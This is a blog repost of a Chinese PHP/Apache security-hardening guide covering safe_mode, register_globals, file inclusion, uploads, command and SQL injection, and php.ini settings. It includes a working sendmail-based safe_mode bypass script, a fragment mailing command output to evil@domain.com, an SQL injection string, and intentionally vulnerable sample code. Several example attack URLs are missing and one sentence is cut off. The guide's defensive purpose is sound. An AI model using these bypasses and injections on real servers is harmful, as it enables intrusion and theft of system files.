PHP安全配置(轉)

post0發表於2007-08-09
PHP安全配置(轉)[@more@]

摘要

web伺服器的安裝問題是一個非常現實的問題,我們發現對於php有很多的安全問題存在。這裡我們就轉一篇國內著名安全站點的關於php安裝的文章。希望你看後能把web伺服器加固!(2003-09-22 09:50:36)

By 光輝, 出處:轉自安全焦點:http://www.xfocus.net

整理:san

版本:0.02

建立時間:2001/11/12

更新時間:2003/07/21

一、Web伺服器安全

PHP其實不過是Web伺服器的一個模組功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其指令碼出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連線mysql 時必須用127.0.0.1地址使用tcp連線而不能用localhost實現socket連線,這在效率上會稍微差一點。還有mail函式傳送郵件也是個問題,因為php.ini裡的:

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是針對Win32平臺,所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠端溢位

PHP-4.1.2以下的所有版本都存在檔案上傳遠端緩衝區溢位漏洞,而且攻擊程式已經廣泛流傳,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun

2、遠端拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠端漏洞,雖然不能獲得本地使用者許可權,但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函式繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函式增加了第五個引數,由於設計者考慮不周可以突破safe_mode 的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP指令碼evil.php:

執行如下的URL:

|mail evil@domain.com

這將id執行的結果傳送給evil@domain.com。

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C引數,所以系統必須是使用sendmail。如下的程式碼能夠突破safe_mode限制執行命令:

# 注意,下面這兩個必須是不存在的,或者它們的屬主和本指令碼的屬主是一樣

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?>

還是使用以上有問題版本PHP的使用者一定要及時升級到最新版本,這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活,可以透過php.ini, httpd.conf, .htaccess檔案(該目錄必須設定了AllowOverride All或Options)進行設定,還可以在指令碼程式裡使用ini_set()及其他的特定的函式進行設定。透過phpinfo()和get_cfg_var()函式可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須透過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設定的選項是對Web伺服器所有指令碼生效,httpd.conf裡設定的選項是對該定義的目錄下所有指令碼生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess檔案設定,也可以透過在指令碼程式自身用ini_set()函式設定,它們修改的是 Local值,改了以後馬上生效。但是.htaccess只對當前目錄的指令碼程式生效,ini_set()函式只對該指令碼程式設定ini_set()函式以後的程式碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查詢當前原始碼的main.c檔案得到所有的選項,以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須透過php.ini或httpd.conf來設定。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定義目錄:

Options FollowSymLinks

php_admin_value safe_mode 1

重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函式進行限制,特別是和系統相關的檔案開啟、命令執行等函式。

所有操作檔案的函式將只能操作與指令碼UID相同的檔案,比如test.php指令碼的內容為:

幾個檔案的屬性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤資訊:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作檔案所在目錄的UID和指令碼UID一致,那麼該檔案的UID即使和指令碼不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以 php指令碼屬主這個使用者最好就只作這個用途,絕對禁止使用root做為php指令碼的屬主,這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較,則開啟 safe_mode_gid可以考慮只比較檔案的GID,可以設定如下選項:

safe_mode_gid = On

設定了safe_mode以後,所有命令執行的函式將被限制只能執行php.ini裡safe_mode_exec_dir指定目錄裡的程式,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要呼叫其它程式,可以在php.ini做如下設定:

safe_mode_exec_dir = /usr/local/php/exec

然後複製程式到該目錄,那麼php指令碼就可以用system等函式來執行該程式。而且該目錄裡的shell指令碼還是可以呼叫其它目錄裡的系統命令。

safe_mode_include_dir string

當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含檔案時越過 UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

指定的限制實際上是一個字首,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

設定某些環境變數可能是潛在的安全缺口。本指令包含有一個逗號分隔的字首列表。在安全模式下,使用者只能改變那些名字具有在這裡提供的字首的環境變數。預設情況下,使用者只能設定以 PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使使用者可以修改任何環境變數!

safe_mode_protected_env_vars string

本指令包含有一個逗號分隔的環境變數的列表,終端使用者不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設定了允許修改時也不能改變這些變數。

雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議開啟安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用 safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整程式碼和配置才能和諧。被安全模式限制或遮蔽的函式可以參考PHP手冊。

討論完safe_mode後,下面結合程式程式碼實際可能出現的問題討論如何透過對PHP伺服器端的配置來避免出現的漏洞。

2、變數濫用

PHP預設register_globals = On,對於GET, POST, Cookie, Environment, Session的變數可以直接註冊成全域性變數。它們的註冊順序是variables_order = "EGPCS"(可以透過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程式的混亂。而且指令碼程式設計師往往沒有對變數初始化的習慣,像如下的程式片斷就極易受到攻擊:

//test_1.php

if ($pass == "hello")

$auth = 1;

if ($auth == 1)

echo "some important information";

else

echo "nothing";

?>

攻擊者只需用如下的請求就能繞過檢查:

這雖然是一個很弱智的錯誤,但一些著名的程式也有犯過這種錯誤,比如phpnuke的遠端檔案複製漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0釋出的時候建議關閉register_globals,並提供了7個特殊的陣列變數來使用各種變數。對於從GET、POST、 COOKIE等來的變數並不會直接註冊成變數,必需透過陣列變數來存取。PHP-4.2.0釋出的時候,php.ini預設配置就是 register_globals = Off。這使得程式使用PHP自身初始化的預設值,一般為0,避免了攻擊者控制判斷變數。

解決方法:

配置檔案php.ini設定register_globals = Off。

要求程式設計師對作為判斷的變數在程式最開始初始化一個值。

3、檔案開啟

極易受攻擊的程式碼片斷:

//test_2.php

if (!($str = readfile("$filename"))) {

echo("Could not open file: $filename

");

exit;

}

else {

echo $str;

}

?>

由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

如下請求可以讀php檔案本身:

PHP中檔案開啟函式還有fopen(), file()等,如果對檔名變數檢查不嚴就會造成伺服器重要檔案被訪問讀取。

解決方法:

如非特殊需要,把php的檔案操作限制在web目錄裡面。以下是修改apache配置檔案httpd.conf的一個例子:

php_admin_value open_basedir /usr/local/apache/htdocs

重啟apache後,/usr/local/apache/htdocs目錄下的PHP指令碼就只能操作它自己目錄下的檔案了,否則PHP就會報錯:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題,前面已經討論過了。

4、包含檔案

極易受攻擊的程式碼片斷:

//test_3.php

if(file_exists($filename))

include("$filename");

?>

這種不負責任的程式碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd檔案:

如果對於Unix版的PHP(Win版的PHP不支援遠端開啟檔案)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的檔案,如的內容是,那麼如下的請求就可以在目標主機執行命令ls /etc:

http://victim/test_3.php?filename=

攻擊者甚至可以透過包含apache的日誌檔案access.log和error.log來得到執行命令的程式碼,不過由於干擾資訊太多,有時不易成功。

對於另外一種形式,如下程式碼片斷:

//test_4.php

include("$lib/config.php");

?>

攻擊者可以在自己的主機建立一個包含執行命令程式碼的config.php檔案,然後用如下請求也可以在目標主機執行命令:

PHP的包含函式有include(), include_once(), require(), require_once。如果對包含檔名變數檢查不嚴就會對系統造成嚴重危險,可以遠端執行命令。

解決方法:

要求程式設計師包含檔案裡的引數儘量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的檔名,絕對不能由使用者任意指定。

如前面檔案開啟中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠端檔案開啟功能。修改php.ini檔案:

allow_url_fopen = Off

重啟apache。

5、檔案上傳

php的檔案上傳機制是把使用者上傳的檔案儲存在php.ini的upload_tmp_dir定義的臨時目錄(預設是系統的臨時目錄,如:/tmp)裡的一個類似phpxXuoXG的隨機臨時檔案,程式執行結束,該臨時檔案也被刪除。PHP給上傳的檔案定義了四個變數:(如form變數名是file,而且 register_globals開啟)

$file #就是儲存到伺服器端的臨時檔案(如/tmp/phpxXuoXG )

$file_size #上傳檔案的大小

$file_name #上傳檔案的原始名稱

$file_type #上傳檔案的型別

推薦使用:

$HTTP_POST_FILES['file']['tmp_name']

$HTTP_POST_FILES['file']['size']

$HTTP_POST_FILES['file']['name']

$HTTP_POST_FILES['file']['type']

這是一個最簡單的檔案上傳程式碼:

//test_5.php

if(isset($upload) && $file != "none") {

copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

echo "檔案".$file_name."上傳成功!點選繼續上傳";

exit;

}

?>

上傳檔案:

這樣的上傳程式碼存在讀取任意檔案和執行命令的重大問題。

下面的請求可以把/etc/passwd文件複製到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt檔案裡:

然後可以用如下請求讀取口令檔案:

攻擊者可以把php檔案複製成其它副檔名,洩漏指令碼原始碼。

攻擊者可以自定義form裡file_name變數的值,上傳覆蓋任意有寫許可權的檔案。

攻擊者還可以上傳PHP指令碼執行主機的命令。

解決方法:

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函式,可以檢查操作的檔案是否是使用者上傳的檔案,從而避免把系統檔案複製到web目錄。

使用$HTTP_POST_FILES陣列來讀取使用者上傳的檔案變數。

嚴格檢查上傳變數。比如不允許是php指令碼檔案。

把PHP指令碼操作限制在web目錄可以避免程式設計師使用copy函式把系統檔案複製到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini裡upload_tmp_dir的值。

把PHP指令碼用phpencode進行加密,避免由於copy操作洩漏原始碼。

嚴格配置檔案和目錄的許可權,只允許上傳的目錄能夠讓nobody使用者可寫。

對於上傳目錄去掉PHP解釋功能,可以透過修改httpd.conf實現:

php_flag engine off

#如果是php3換成php3_engine off

重啟apache,upload目錄的php檔案就不能被apache解釋了,即使上傳了php檔案也沒有問題,只能直接顯示原始碼。

6、命令執行

下面的程式碼片斷是從PHPNetToolpack摘出,詳細的描述見:

http://www.securityfocus.com/bid/4303

//test_6.php

system("traceroute $a_query",$ret_strs);

?>

由於程式沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令:

/etc/passwd

PHP的命令執行函式還有system(), passthru(), popen()和``等。命令執行函式非常危險,慎用。如果要使用一定要嚴格檢查使用者輸入。

解決方法:

要求程式設計師使用escapeshellcmd()函式過濾使用者輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變數進行處理就會存在問題:

select * from login where user='$user' and pass='$pass'

攻擊者可以使用者名稱和口令都輸入1' or 1='1繞過驗證。

不過幸虧PHP有一個預設的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

從而避免了此類sql_inject攻擊。

對於數字型別的欄位,很多程式設計師會這樣寫:

select * from test where id=$id

由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且 PHP的mysql_query()函式也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,洩漏系統的一些資訊,或者一些意想不到的情況。

解決方法:

要求程式設計師對所有使用者提交的要放到SQL語句的變數進行過濾。

即使是數字型別的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。

在MySQL裡不要給PHP程式高階別許可權的使用者,只允許對自己的庫進行操作,這也避免了程式出現問題被 SELECT INTO OUTFILE ... 這種攻擊。

8、警告及錯誤資訊

PHP預設顯示所有的警告及錯誤資訊:

error_reporting = E_ALL & ~E_NOTICE

display_errors = On

在平時開發除錯時這非常有用,可以根據警告資訊馬上找到程式錯誤所在。

正式應用時,警告及錯誤資訊讓使用者不知所措,而且給攻擊者洩漏了指令碼所在的物理路徑,為攻擊者的進一步攻擊提供了有利的資訊。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程式的錯誤。所以把PHP的所有警告及錯誤資訊記錄到一個日誌檔案是非常明智的,即不給攻擊者洩漏物理路徑,又能讓自己知道程式錯誤所在。

修改php.ini中關於Error handling and logging部分內容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然後重啟apache,注意檔案/usr/local/apache/logs/php_error.log必需可以讓nobody使用者可寫。

9、disable_functions

如果覺得有些函式還有威脅,可以設定php.ini裡的disable_functions(這個選項不能在httpd.conf裡設定),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多個函式,用逗號分開。重啟apache後,phpinfo, get_cfg_var函式都被禁止了。建議關閉函式phpinfo, get_cfg_var,這兩個函式容易洩漏伺服器資訊,而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf裡設定,只能在php.ini配置檔案裡修改。

11、open_basedir

前面分析例程的時候也多次提到用open_basedir對指令碼操作路徑進行限制,這裡再介紹一下它的特性。用open_basedir指定的限制實際上是字首,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。

可以設定多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模組時,父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它使用者對常用、重要系統命令的讀寫執行許可權

一般管理員維護只需一個普通使用者和管理使用者,除了這兩個使用者,給其它使用者能夠執行和訪問的東西應該越少越好,所以取消其它使用者對常用、重要系統命令的讀寫執行許可權能在程式或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld- linux.so.2 /bin/ls這種方式來執行。

如果要取消某程如果是在chroot環境裡,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程式的執行許可權會導致一些服務執行不正常。PHP的mail函式需要/bin/sh去呼叫sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,

2、去掉apache日誌其它使用者的讀許可權

apache的access-log給一些出現本地包含漏洞的程式提供了方便之門。透過提交包含PHP程式碼的URL,可以使access-log包含PHP程式碼,那麼把包含檔案指向access-log就可以執行那些PHP程式碼,從而獲得本地訪問許可權。

如果有其它虛擬主機,也應該相應去掉該日誌檔案其它使用者的讀許可權。

當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌檔案了。

參考資料:

歷史記錄:

0.02 - 想好好維護這個文件,由於時間比較長了,做了較多修改

0.01 - 初始版

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8225414/viewspace-938814/,如需轉載,請註明出處,否則將追究法律責任。

相關文章